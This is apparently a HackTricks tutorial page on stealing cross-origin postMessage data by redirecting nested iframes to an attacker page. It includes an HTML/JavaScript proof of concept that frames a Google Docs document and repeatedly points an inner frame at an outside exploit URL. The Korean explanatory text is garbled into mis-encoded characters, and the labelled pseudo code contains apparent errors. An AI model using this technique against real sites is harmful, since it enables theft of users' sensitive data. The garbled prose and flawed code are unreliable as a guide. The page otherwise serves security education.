Steal postmessage modifying iframe location

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Changing child iframes locations

According to this writeup, ๋งŒ์•ฝ X-Frame-Header๊ฐ€ ์—†๋Š” ์›นํŽ˜์ด์ง€๋ฅผ iframe์œผ๋กœ ์‚ฝ์ž…ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, ๊ทธ ์•ˆ์— ์žˆ๋Š” ๋‹ค๋ฅธ iframe์˜ ์œ„์น˜๋ฅผ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์˜ˆ๋ฅผ ๋“ค์–ด, abc.com์ด efg.com์„ iframe์œผ๋กœ ๊ฐ€์ง€๊ณ  ์žˆ๊ณ  abc.com์— X-Frame ํ—ค๋”๊ฐ€ ์—†๋‹ค๋ฉด, **frames.location**์„ ์‚ฌ์šฉํ•˜์—ฌ efg.com์„ evil.com์œผ๋กœ ๊ต์ฐจ ์ถœ์ฒ˜๋กœ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด๋Š” postMessages์—์„œ ํŠนํžˆ ์œ ์šฉํ•œ๋ฐ, ๋งŒ์•ฝ ํŽ˜์ด์ง€๊ฐ€ ์™€์ผ๋“œ์นด๋“œ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋ฏผ๊ฐํ•œ ๋ฐ์ดํ„ฐ๋ฅผ ์ „์†กํ•˜๊ณ  ์žˆ๋‹ค๋ฉด windowRef.postmessage("","*"), ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ์œ„์น˜๋กœ ๊ด€๋ จ iframe(์ž์‹ ๋˜๋Š” ๋ถ€๋ชจ)์˜ ์œ„์น˜๋ฅผ ๋ณ€๊ฒฝํ•˜๊ณ  ๊ทธ ๋ฐ์ดํ„ฐ๋ฅผ ํ›”์น  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
//pseudo code
setTimeout(function () {
exp()
}, 6000)

function exp() {
//needs to modify this every 0.1s as it's not clear when the iframe of the iframe affected is created
setInterval(function () {
window.frames[0].frame[0][2].location =
"https://geekycat.in/exploit.html"
}, 100)
}
</script>
</html>

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ